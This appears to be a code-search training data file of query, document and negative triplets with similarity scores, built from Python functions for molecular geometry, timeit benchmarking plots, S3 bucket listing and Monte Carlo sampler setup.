"def dist_single(self, g_num, at_1, at_2):\n\n # Import used math library function(s)\n import numpy as np\n from scipy import linalg as spla\n from .utils import safe_cast as scast\n\n # The below errors are explicitly thrown since values are multiplied by\n # three when ... | [
"0.6828026",
"0.63209164",
"0.62243074",
"0.5588467",
"0.54166085",
"0.54103637",
"0.53110236",
"0.53094816",
"0.52225846",
"0.5219",
"0.52034783",
"0.5185372",
"0.51553935",
"0.5150667",
"0.51422375",
"0.511167",
"0.50929797",
"0.50642675",
"0.5045502",
"0.5032917",
"0.50302... | 0.73728895 | 0 |
Iterator over indicated displacement vectors. | def displ_iter(self, g_nums, ats_1, ats_2, invalid_error=False):
# Import the tuple-generating function
from .utils import pack_tups
# Print the function inputs if debug mode is on
if _DEBUG: # pragma: no cover
print("g_nums = {0}".format(g_nums))
print("ats_1 ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __iter__(self):\n for y in range(self.origin.y, self.origin.y + self.size.y):\n for x in range(self.origin.x, self.origin.x + self.size.x):\n yield Vec2(x, y)",
"def __iter__(self):\n\t\tfor nt in SeqVector.rev_mapping:\n\t\t\tyield nt",
"def __iter__(self):\n fo... | [
"0.6948717",
"0.6499379",
"0.6452133",
"0.6443525",
"0.6356332",
"0.6341788",
"0.63147575",
"0.6292186",
"0.6255947",
"0.6230458",
"0.60472536",
"0.6030765",
"0.60095453",
"0.59889174",
"0.59873176",
"0.5953884",
"0.5943568",
"0.58993924",
"0.5886447",
"0.5862476",
"0.5844592... | 0.0 | -1 |
Helper function to insert full ranges for |None| for X_iter methods. Custom method, specifically tailored, taking in the arguments from an X_iter method and performing the replacement of |None| after errorchecking the arguments for a max of one |None| value, and ensuring that if a |None| is present, no other non|str| i... | def _none_subst(self, *args):
# Imports
import numpy as np
# Initialize argument list return value, and as None not found
arglist = [a for a in args]
none_found = False
# Check for None values
none_vals = list(map(lambda e: isinstance(e, type(None)), arglist))
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __dynamic_range_process(info):\n if 'range' in info:\n for i in range(len(info['range'])):\n if info['range'][i][1] == -1:\n info['range'][i][1] = None\n return info",
"def restrict_once(self):\n l = list(self)\n for i, arg in enumerate(self.sig):\n ... | [
"0.6032078",
"0.5548745",
"0.54662424",
"0.5449462",
"0.5438166",
"0.5367288",
"0.5254939",
"0.5251298",
"0.52095854",
"0.5154835",
"0.51438975",
"0.5128024",
"0.5127296",
"0.50919783",
"0.50894165",
"0.5048798",
"0.50049394",
"0.49737692",
"0.4965266",
"0.49602643",
"0.49274... | 0.6425502 | 0 |
Wrapper for exception/|None| output handling of X_iter methods. Attempts to pass `tup` as arguments to `fxn`. If the call is successful, returns the value produced. If | def _iter_return(tup, fxn, invalid_error):
try:
val = fxn(*tup)
except (IndexError, ValueError):
if invalid_error:
# Raise the exception if invalid_error indicates
raise
else:
# Otherwise, just return a 'None' value
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def eval_func_tuple(f_args):\n return f_args[0](*f_args[1:])",
"def wrapit(fn):\n def inside(dummy, *args):\n try:\n return fn(*args)\n except Exception as e:\n print(\"Error in XSLT extension: %s\" % e)\n raise\n return inside",
"def __call__ ( self , *x... | [
"0.54071575",
"0.506021",
"0.50338674",
"0.5007572",
"0.4873577",
"0.48561063",
"0.48419422",
"0.48373547",
"0.4821068",
"0.48024175",
"0.47795138",
"0.47174263",
"0.47157645",
"0.4645071",
"0.46301335",
"0.45946258",
"0.4569231",
"0.4554146",
"0.45464298",
"0.45464298",
"0.4... | 0.7071328 | 0 |
Compares speed of functions across input conditions. 'funcs' should be a list of functions expressed as strings. String substitution is done on each function while iterating over ranges of values in 'inputs' to compare speed. 'inputs' should be an iterable range of values over which 'funcs' should be tested. 'setups' c... | def timeit_compare(funcs, inputs, setups='pass', **kwargs):
number = kwargs.get('number', 100000)
print_conditions = kwargs.get('print_conditions', False)
performance = defaultdict(list)
if isinstance(setups, list):
# user specifies their own list of setups corresponding to funcs
pass
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _get_timings_perinput(funcs, input_=None):\n\n global _TIMEOUT\n global _NUM_REPEATS\n\n timings_l = []\n\n from IPython import get_ipython\n if get_ipython() is None:\n iter_funcs = trange(len(funcs), desc='Loop functions', leave=False)\n else:\n iter_funcs = range(len(funcs))\... | [
"0.6532997",
"0.6067574",
"0.5981965",
"0.58139783",
"0.5802524",
"0.5739622",
"0.5668803",
"0.56225157",
"0.54053986",
"0.5306131",
"0.5264208",
"0.52628356",
"0.5256946",
"0.5210447",
"0.51905584",
"0.5185012",
"0.5178295",
"0.51312095",
"0.51214105",
"0.51147574",
"0.51056... | 0.8455328 | 0 |
Converts conditions for individual variables into an exhaustive list of combinations for timeit_compare(). | def get_conditions(inputs):
# itertools.product summarizes all combinations of ordered conditions
# at len = 1 it wraps values in tuples (0,) that confuse the timer below
if hasattr(inputs[0], '__iter__'):
return list(product(*inputs))
else:
return [[n] if not isinstance(n,(list,tuple)) ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def all_different(variables) :\n constraints = []\n for i in xrange(len(variables)):\n var1 = variables[i]\n for j in xrange(i+1,len(variables)):\n var2 = variables[j]\n if var1!=var2:\n constraints.append(Constraint(var1,var2,constraint_different))\n ret... | [
"0.6311022",
"0.61849254",
"0.60068643",
"0.58457434",
"0.5723604",
"0.5540094",
"0.5520736",
"0.54754466",
"0.5429853",
"0.54289407",
"0.5408784",
"0.5364044",
"0.53570276",
"0.53367054",
"0.5330969",
"0.5319483",
"0.53005606",
"0.5298023",
"0.52649146",
"0.5194227",
"0.5183... | 0.683482 | 0 |
Plots the results from a defaultdict returned by timeit_compare. Each function will be plotted as a different series. timeit_compare may test many conditions, and the order of the conditions in the results data can be understood from the string substitutions noted in the keys of the defaultdict. By default series=0 mea... | def timeit_plot2D(data, xlabel='xlabel', title='title', **kwargs):
series = kwargs.get('series', 0)
style = kwargs.get('style', 'line')
size = kwargs.get('size', 500)
ylabel = kwargs.get('ylabel', 'time')
cmap = kwargs.get('cmap', 'rainbow')
lloc = kwargs.get('lloc', 2)
dataT = {}
# set ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plotResultsComparison(monthlyData1, monthlyData2, indices, arg):\n \n energyType = arg[0] \n \n dummyRange = np.asarray(range(len(indices['E_tot1'])))\n \n fig = plt.figure(figsize=(16, 8))\n \n# plt.suptitle('Heating Demand (COP=' + str(usedEfficiencies['H_COP']) + ')')\n if ener... | [
"0.6654563",
"0.6607514",
"0.643974",
"0.6420746",
"0.6370238",
"0.632196",
"0.62992644",
"0.62709874",
"0.6246181",
"0.6242282",
"0.6240868",
"0.61306024",
"0.61226565",
"0.6117729",
"0.60903037",
"0.6040406",
"0.6036093",
"0.6007648",
"0.5978382",
"0.5933804",
"0.5926469",
... | 0.0 | -1 |
3D plot of timeit data, one chart per function. | def timeit_plot3D(data, xlabel='xlabel', ylabel='ylabel', **kwargs):
dataT = {}
figs = []
series = kwargs.get('series', (0,1))
cmap = kwargs.get('cmap', cm.coolwarm)
for k, v in data.items():
dataT[k] = zip(*v)
fig = plt.figure()
ax = fig.gca(projection='3d')
X, Y, Z ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_results_traj_3d(p_x, p_y, p_z, xmin, xmax, ymin, ymax, zmin, zmax):\n fig, ax = plt.subplots(2 , 2, figsize = (10, 10))\n \n for p in np.arange(0, p_x.shape[0], step = 1): \n for t in np.arange(0, p_x.shape[1], step = 1): \n ax[0,0].plot(t, p_x[p, t], 'rx') \n ax[0... | [
"0.6823655",
"0.64680564",
"0.6386386",
"0.63781416",
"0.6293766",
"0.6287212",
"0.62837124",
"0.61736697",
"0.61295396",
"0.6103058",
"0.60559446",
"0.602441",
"0.6017617",
"0.5986467",
"0.59750056",
"0.5937993",
"0.5929257",
"0.5915024",
"0.5913098",
"0.58936155",
"0.589318... | 0.70203567 | 0 |
Heatmap plot of timeit data, one chart per function. | def timeit_heatmap(data, xlabel='xlabel', ylabel='ylabel', **kwargs):
dataT = {}
figs = []
series = kwargs.get('series', (0,1))
cmap = kwargs.get('cmap', cm.coolwarm)
for k, v in data.items():
dataT[k] = zip(*v)
X, Y, Z = dataT[k][series[0]], dataT[k][series[1]], dataT[k][-1]
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def matplotlib_heatmap_chart() -> Tuple:\n df = read_dataset(Path('..', '..', 'iris.csv'))\n df.drop(\"species\", axis=1, inplace=True)\n # Default is pearson's correlation coefficient\n corr_df = df.corr()\n\n fig, ax = a_libraries.matplotlib_heatmap_chart(corr_df.values)\n\n return fig, ax",
... | [
"0.61510575",
"0.61060256",
"0.6084988",
"0.6076633",
"0.6073375",
"0.6024223",
"0.60044134",
"0.59975386",
"0.5975684",
"0.5969831",
"0.596719",
"0.5944489",
"0.594429",
"0.59286827",
"0.5918338",
"0.5899142",
"0.5887171",
"0.5877043",
"0.58721083",
"0.5865014",
"0.58345026"... | 0.6993276 | 0 |
returns mahalanobis distance of each input for each gaussian parameterized by mu[i], cov[i]. mu = (k, d) numpy array where k is number of mixtures and d is the dimension of the data. cov = (k, d, d) numpy array with the same setup as mu in terms of k and d. | def mahalanobis(data, mu, cov, k=2):
mhd = np.zeros((data.shape[0], mu.shape[0]))
for i in range(mu.shape[0]):
_mu = mu[i, :]
_cov = cov[i, :, :]
mhd[:, i] = np.sum(
(data - _mu) @ np.linalg.inv(_cov) * (data - _mu), axis=1
)
return np.sqrt(mhd) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mahalanobis_dist_factory(X):\n\t# compute the average vector location\n\tavg = class_average(X)\n\t# compute the variance-covariance matrix of the input matrix\n\tvarcovar = np.cov(X, rowvar=False)\n\t# compute the inverse of the variance-covariance matrix\n\tinv_varcovar = np.linalg.pinv(varcovar)\n\n\t# func... | [
"0.66977125",
"0.65298855",
"0.64811194",
"0.6442887",
"0.64422977",
"0.61270535",
"0.60174",
"0.60146606",
"0.6008952",
"0.59352744",
"0.5921679",
"0.587831",
"0.579491",
"0.57288444",
"0.5714017",
"0.5707229",
"0.55162406",
"0.55084175",
"0.5483291",
"0.54774976",
"0.546596... | 0.7921236 | 0 |
This function should compute all relevant metrics to the task, | def evaluate(self, prediction_fn):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compute_metrics(self):\n pass",
"def compute_statistics(self):",
"def compute_metrics(self, results: list) -> dict:",
"def calculate_batch_metrics(self):\n pass",
"def compute(self) -> Any:\n # ddp hotfix, could be done better\n # but metric must handle DDP on it's own\n ... | [
"0.79128826",
"0.74192625",
"0.71593416",
"0.69144243",
"0.6824682",
"0.6824682",
"0.66879547",
"0.65933985",
"0.6584952",
"0.64729804",
"0.64716756",
"0.6453491",
"0.64283794",
"0.6394721",
"0.63812053",
"0.63713115",
"0.6338445",
"0.62557447",
"0.62270904",
"0.6222773",
"0.... | 0.0 | -1 |
Saves the entire object ready to be loaded. | def save(self, path):
torch.save(self, path) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save():",
"def save(self):\n # TODO (Pierre): code",
"def save():\n pass",
"def save (self):\n pass",
"def save(self):\n pass",
"def save(self):\n pass",
"def save(self):\n pass",
"def save(self):\n pass",
"def save(self):\n pass",
"def ... | [
"0.79704905",
"0.78950554",
"0.7893142",
"0.7855574",
"0.7837163",
"0.7837163",
"0.7837163",
"0.7837163",
"0.7837163",
"0.7778858",
"0.76986545",
"0.7668331",
"0.7668331",
"0.7668331",
"0.76182026",
"0.76182026",
"0.76182026",
"0.76011497",
"0.7543548",
"0.75262547",
"0.74322... | 0.0 | -1 |
STATIC METHOD accessed through class, loads a preexisting experiment. | def load(path):
return torch.load(path) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_load_experiment(self):\n exp = Experiment(self.epath,\n normalization='ch0',\n auto_alignment=False)\n self.assertTrue(isinstance(exp, Experiment))",
"def _load_experiment(\n experiment_name: str, decoder: Decoder, reduced_state: bool = Fa... | [
"0.71485525",
"0.6747559",
"0.6703121",
"0.66636235",
"0.63238764",
"0.62490994",
"0.61740875",
"0.61601645",
"0.61585844",
"0.61475116",
"0.61034805",
"0.6007125",
"0.5924276",
"0.59056836",
"0.5895276",
"0.589245",
"0.5891917",
"0.58782053",
"0.5876589",
"0.58482295",
"0.58... | 0.0 | -1 |
Produces evaluation scores and saves the results to a file. The tokenisation is done through string_split_v1. So any non spaced text will be considered as one token. | def evaluate(self, prediction_fn, save_dir=None, save_name="translation_eval.txt", batched=None):
if batched:
src_sents = [src for (src, tgt) in self.task_data]
chunked_sents = list(chunks(src_sents, batched))
predictions = [prediction_fn(sents) for sents in tqdm.tqdm(chunked... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def evaluate(predictions, gold_file, out_prediction_file):\n # Save the evaluations to a file\n with codecs.open(out_prediction_file, 'w', 'utf-8') as f_out:\n for (w1, w2), curr_paraphrases in predictions.items():\n for paraphrase, score in curr_paraphrases:\n f_out.write('\... | [
"0.6306145",
"0.60364264",
"0.59628004",
"0.5864951",
"0.5815738",
"0.5814478",
"0.5805036",
"0.57701683",
"0.5697664",
"0.56726915",
"0.566613",
"0.56314296",
"0.56056726",
"0.55848986",
"0.5569064",
"0.55628127",
"0.55419517",
"0.5523052",
"0.5494854",
"0.5468465",
"0.54481... | 0.0 | -1 |
The tokenizer that we use for code submissions, from Wang Ling et al., Latent Predictor Networks for Code Generation (2016) | def tokenize_for_bleu_eval(self, code):
code = re.sub(r'([^A-Za-z0-9_])', r' \1 ', code)
code = re.sub(r'([a-z])([A-Z])', r'\1 \2', code)
code = re.sub(r'\s+', ' ', code)
code = code.replace('"', '`')
code = code.replace('\'', '`')
tokens = [t for t in code.split(' ') if ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def identity_tokenizer(text):\n return text",
"def create_tokenizer(dataset):\n lang_tokenizer = tf.keras.preprocessing.text.Tokenizer(char_level=True)\n lang_tokenizer.fit_on_texts([x['input'] for x in dataset])\n return lang_tokenizer",
"def tokenizer(self):\n tokenizer = RegexpTokenizer(r... | [
"0.72402114",
"0.71198505",
"0.7113689",
"0.6879249",
"0.6853371",
"0.68101704",
"0.67637116",
"0.6736855",
"0.6725367",
"0.672405",
"0.6677276",
"0.6579792",
"0.64370555",
"0.641335",
"0.6398385",
"0.63931334",
"0.6389405",
"0.6388391",
"0.63303375",
"0.6324457",
"0.631961",... | 0.6563193 | 12 |
Function whose loops update global counter | def mystery1(input_val):
global counter
for index in range(input_val):
for dummy_index in range(5):
counter += 1 | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def increment_counter(self) -> None:",
"def tick():\n global counter\n counter += 1",
"def count_inside(self):\n time.sleep(2) #1\n self.count += 1",
"def inc( self ):\n self.count += 1",
"def inc(self):\n \n self.count += 1",
"... | [
"0.7691904",
"0.7540666",
"0.69851613",
"0.6968179",
"0.6947265",
"0.68366146",
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"0.65666616",
"0.65422696",
"0.6508996",
"0.64917785",
"0.6483024",
"0.647665",
"0.647665... | 0.65744907 | 14 |
Function whose loops update global counter | def mystery2(input_val):
global counter
for index in range(input_val):
for dummy_index in range(index / 2, index):
counter += 1 | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def increment_counter(self) -> None:",
"def tick():\n global counter\n counter += 1",
"def count_inside(self):\n time.sleep(2) #1\n self.count += 1",
"def inc( self ):\n self.count += 1",
"def inc(self):\n \n self.count += 1",
"... | [
"0.7691904",
"0.7540666",
"0.69851613",
"0.6968179",
"0.6947265",
"0.68366146",
"0.68366146",
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"0.65744907",
"0.65666616",
"0.65422696",
"0.6508996",
"0.64917785",
"0.6483024",
"0.6476... | 0.58076495 | 77 |
Function whose loops update global counter | def mystery3(input_val):
global counter
for index in range(input_val):
for dummy_index in range(int(1.1 ** index)):
counter += 1 | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def increment_counter(self) -> None:",
"def tick():\n global counter\n counter += 1",
"def count_inside(self):\n time.sleep(2) #1\n self.count += 1",
"def inc( self ):\n self.count += 1",
"def inc(self):\n \n self.count += 1",
"... | [
"0.7691904",
"0.7540666",
"0.69851613",
"0.6968179",
"0.6947265",
"0.68366146",
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"0.6622162",
"0.6585975",
"0.65744907",
"0.65666616",
"0.65422696",
"0.6508996",
"0.64917785",
"0.6483024",
"0.6476... | 0.0 | -1 |
Build plot of the number of increments in mystery function | def build_plot(plot_size, plot_function, plot_type = STANDARD):
global counter
plot = []
for input_val in range(2, plot_size):
counter = 0
plot_function(input_val)
if plot_type == STANDARD:
plot.append([input_val, counter])
else:
plot.append([math.log(... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def metaplot_powersum_test():\n all_psums = []\n for i in range(1,4+1):\n print \"starting on\",i\n plt.subplot(2,2,i)\n all_psums.append(plot_powersum_test(G=1000*int(10**(i-1)),trials=10000/int(10**(i-1))))\n plt.show()\n return all_psums",
"def make_plot(x,y):",
"def plot_nu... | [
"0.6076957",
"0.6037471",
"0.59856474",
"0.59724694",
"0.5934096",
"0.5903188",
"0.5862792",
"0.582949",
"0.58223224",
"0.58133066",
"0.58117056",
"0.57742274",
"0.57369816",
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"0.57190216",
"0.5707884",
"0.56981534",
"0.5692261",
"0.56549776",
"0.5654222",
"0.564... | 0.58810604 | 6 |
Return a list of train label | def get_labels(train_f_path):
results = []
with open(train_f_path, 'r') as f:
for line in f:
n_line = line.strip()
if n_line:
results.append(n_line.split()[0])
return results | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def train_labels(self):\n return self._train_labels",
"def get_train_labels(self):\n raise NotImplementedError",
"def list_labels(self):\n # Create empty list\n label_names = []\n \n # For every name in training directory\n for name in os.listdir(self.train_data):\n... | [
"0.8100301",
"0.80514497",
"0.78156173",
"0.78015554",
"0.77894163",
"0.77820337",
"0.77497905",
"0.77037364",
"0.7539584",
"0.74781585",
"0.74781585",
"0.74382025",
"0.7404343",
"0.7404343",
"0.73986834",
"0.73861414",
"0.73713386",
"0.7343278",
"0.7337383",
"0.7332904",
"0.... | 0.7200101 | 27 |
Lists All the buckets for a user. | def get_buckets_for_user(self):
s3 = self.credentials.session.resource('s3')
bucket_list = [bucket.name for bucket in s3.buckets.all()]
return bucket_list; | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_all(user_id):\n return Bucketlist.query.filter_by(created_by=user_id)",
"def buckets(self, user=None):\n raise NotImplementedError('TODO')",
"def list_buckets():\n for bucket in BUCKET_MANAGER.all_buckets():\n print(bucket)",
"def get(self, user):\n search = True if sel... | [
"0.8044228",
"0.79636157",
"0.7384061",
"0.7377639",
"0.7241345",
"0.72163045",
"0.71235573",
"0.7091773",
"0.7084208",
"0.6977282",
"0.69236207",
"0.6885807",
"0.6873885",
"0.67799014",
"0.6779265",
"0.6777968",
"0.66890603",
"0.66793346",
"0.6543409",
"0.65332437",
"0.64783... | 0.77902347 | 2 |
Fetches the bucket information | def get_bucket_statistics(self, bucket_name):
bucket_info = BucketInfo()
bucket_info.bucket_name = bucket_name
s3 = self.credentials.session.resource('s3')
current_bucket = s3.Bucket(bucket_name)
bucket_info.creation_date = current_bucket.creation_date
for bucket_object ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_bucket(self, bucket):\n msg = \"get_bucket not implemented\"\n raise NotImplementedError(msg)",
"def list_bucket(self, bucket):\n self.response.write('Listbucket result:\\n')\n\n page_size = 1\n stats = gcs.listbucket(bucket + '/foo', max_keys=page_size)\n while True:\n cou... | [
"0.7036937",
"0.69635886",
"0.687991",
"0.68652654",
"0.67475414",
"0.672836",
"0.6714441",
"0.66897327",
"0.66428053",
"0.6610461",
"0.66102755",
"0.6609213",
"0.6571597",
"0.65627116",
"0.65627116",
"0.65256745",
"0.64774877",
"0.64530367",
"0.6452506",
"0.6443259",
"0.6360... | 0.6373156 | 20 |
Fetches the bucket information | def get_bucket_statistics_v2(self, bucket_name, storageTypeFilter=None):
bucket_info = BucketInfo()
bucket_info.bucket_name = bucket_name
s3 = self.credentials.session.resource('s3')
current_bucket = s3.Bucket(bucket_name)
bucket_info.creation_date = current_bucket.creation_date
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_bucket(self, bucket):\n msg = \"get_bucket not implemented\"\n raise NotImplementedError(msg)",
"def list_bucket(self, bucket):\n self.response.write('Listbucket result:\\n')\n\n page_size = 1\n stats = gcs.listbucket(bucket + '/foo', max_keys=page_size)\n while True:\n cou... | [
"0.7036937",
"0.69635886",
"0.687991",
"0.68652654",
"0.67475414",
"0.672836",
"0.6714441",
"0.66897327",
"0.66428053",
"0.6610461",
"0.66102755",
"0.6609213",
"0.6571597",
"0.65627116",
"0.65627116",
"0.65256745",
"0.64774877",
"0.64530367",
"0.6452506",
"0.6443259",
"0.6373... | 0.6360135 | 21 |
Generator that iterates over all objects in a given s3 bucket | def iterate_bucket_objects(self, bucket):
client = self.credentials.session.client('s3')
page_iterator = client.list_objects_v2(Bucket=bucket)
if 'Contents' not in page_iterator:
return []
for item in page_iterator['Contents']:
yield item | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_s3_keys_as_generator(s3_client,bucket, prefix):\n kwargs = {'Bucket': bucket, 'Prefix' : prefix}\n while True:\n resp = s3_client.list_objects_v2(**kwargs)\n for obj in resp['Contents']:\n yield obj\n\n try:\n kwargs['ContinuationToken'] = resp['NextContinua... | [
"0.8061774",
"0.78454584",
"0.7636215",
"0.75269794",
"0.7432275",
"0.7339902",
"0.7302619",
"0.72996944",
"0.7233975",
"0.7216875",
"0.7203796",
"0.71446174",
"0.7140059",
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"0.7119356",
"0.7085106",
"0.7067508",
"0.6997889",
"0.6971213",
"0.69600886",
"0.6849436... | 0.83988297 | 0 |
Returns he list of objects within a bucket. | def get_files_in_bucket(self, bucket_name):
s3 = self.credentials.session.resource('s3')
this_bucket = s3.Bucket(bucket_name)
list_of_files = [s3file.key for s3file in this_bucket.objects.all()];
return list_of_files | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_bucket_objects(bucket):\n for obj in BUCKET_MANAGER.all_objects(bucket).all():\n print(obj)",
"def list_buckets():\n for bucket in s3.buckets.all():\n print(bucket)",
"def get_objects(self):\r\n bucket = self._get_bucket()\r\n objs = []\r\n for key in bucket:\r... | [
"0.85396767",
"0.8097353",
"0.8041987",
"0.79386073",
"0.7933704",
"0.7909349",
"0.78530836",
"0.78313494",
"0.7781213",
"0.7725446",
"0.7662691",
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"0.7533726",
"0.75263417",
"0.7512228",
"0.75029016",
"0.7476436",
"0.746556... | 0.68705314 | 48 |
Set up variables for the GrandCanonicalMonteCarloSampler | def setup_BaseGrandCanonicalMonteCarloSampler():
# Make variables global so that they can be used
global base_gcmc_sampler
global base_gcmc_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))
ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')
system = ff... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def model_setup(self):\n self.DNN = SganMLP(self.settings.number_of_bins)\n self.D = SganMLP(self.settings.number_of_bins)\n self.G = Generator()",
"def initialize(self):\n self.gc1.reset_parameters()\n self.gc2.reset_parameters()\n\n for s in self.scores:\n s... | [
"0.65247303",
"0.64355326",
"0.6290882",
"0.62845963",
"0.6265411",
"0.6215736",
"0.6098296",
"0.60891455",
"0.60858494",
"0.6080878",
"0.60772467",
"0.6068644",
"0.60400265",
"0.603621",
"0.60180527",
"0.6005577",
"0.59941375",
"0.5993957",
"0.59704316",
"0.59679365",
"0.595... | 0.72094464 | 0 |
Set up variables for the GCMCSphereSampler | def setup_GCMCSphereSampler():
# Make variables global so that they can be used
global gcmc_sphere_sampler
global gcmc_sphere_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))
ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')
system = ff.createSystem(... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_StandardGCMCSphereSampler():\n # Make variables global so that they can be used\n global std_gcmc_sphere_sampler\n global std_gcmc_sphere_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))\n ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')\n ... | [
"0.70422375",
"0.62401485",
"0.6174525",
"0.60479116",
"0.59983546",
"0.5985195",
"0.59568286",
"0.5914662",
"0.58969736",
"0.58124846",
"0.58091885",
"0.57982147",
"0.575604",
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"0.57278335",
"0.56950855",
"0.56897867",
"0.5652037",
"0.56375766",
"0.5635338",
"0.5... | 0.71677244 | 0 |
Set up variables for the StandardGCMCSphereSampler | def setup_StandardGCMCSphereSampler():
# Make variables global so that they can be used
global std_gcmc_sphere_sampler
global std_gcmc_sphere_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))
ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')
system = ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_GCMCSphereSampler():\n # Make variables global so that they can be used\n global gcmc_sphere_sampler\n global gcmc_sphere_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))\n ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')\n system = ff.c... | [
"0.7230866",
"0.64710623",
"0.63545537",
"0.6177041",
"0.6059987",
"0.6001161",
"0.59810454",
"0.59458554",
"0.59250724",
"0.5810696",
"0.5796983",
"0.57875997",
"0.5764037",
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"0.5712826",
"0.5710626",
"0.56650996",
"0.5653145",
"0.56498593",
"0.5624879",
"0.5621... | 0.74774736 | 0 |
Set up variables for the GrandCanonicalMonteCarloSampler | def setup_NonequilibriumGCMCSphereSampler():
# Make variables global so that they can be used
global neq_gcmc_sphere_sampler
global neq_gcmc_sphere_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))
ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')
sys... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_BaseGrandCanonicalMonteCarloSampler():\n # Make variables global so that they can be used\n global base_gcmc_sampler\n global base_gcmc_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))\n ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')\n ... | [
"0.7211087",
"0.6525977",
"0.6435302",
"0.62915516",
"0.6284481",
"0.6267818",
"0.62182075",
"0.6098433",
"0.60890055",
"0.6088116",
"0.60806596",
"0.6079379",
"0.60685253",
"0.6040332",
"0.603551",
"0.6017087",
"0.60072273",
"0.599423",
"0.5993949",
"0.59701514",
"0.59502614... | 0.59698236 | 20 |
Set up variables for the GCMCSystemSampler | def setup_GCMCSystemSampler():
# Make variables global so that they can be used
global gcmc_system_sampler
global gcmc_system_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))
ff = ForceField('tip3p.xml')
system = ff.createSystem(pdb.topology, nonbondedMet... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_StandardGCMCSystemSampler():\n # Make variables global so that they can be used\n global std_gcmc_system_sampler\n global std_gcmc_system_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))\n ff = ForceField('tip3p.xml')\n system = ff.createSyste... | [
"0.73459214",
"0.6634865",
"0.6564363",
"0.65134656",
"0.6442558",
"0.64188296",
"0.63949424",
"0.6207153",
"0.6156057",
"0.6122879",
"0.6117317",
"0.611441",
"0.601784",
"0.59655565",
"0.5935689",
"0.5922263",
"0.58999264",
"0.58888024",
"0.5882525",
"0.5874189",
"0.58622843... | 0.7534252 | 0 |
Set up variables for the StandardGCMCSystemSampler | def setup_StandardGCMCSystemSampler():
# Make variables global so that they can be used
global std_gcmc_system_sampler
global std_gcmc_system_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))
ff = ForceField('tip3p.xml')
system = ff.createSystem(pdb.topolo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
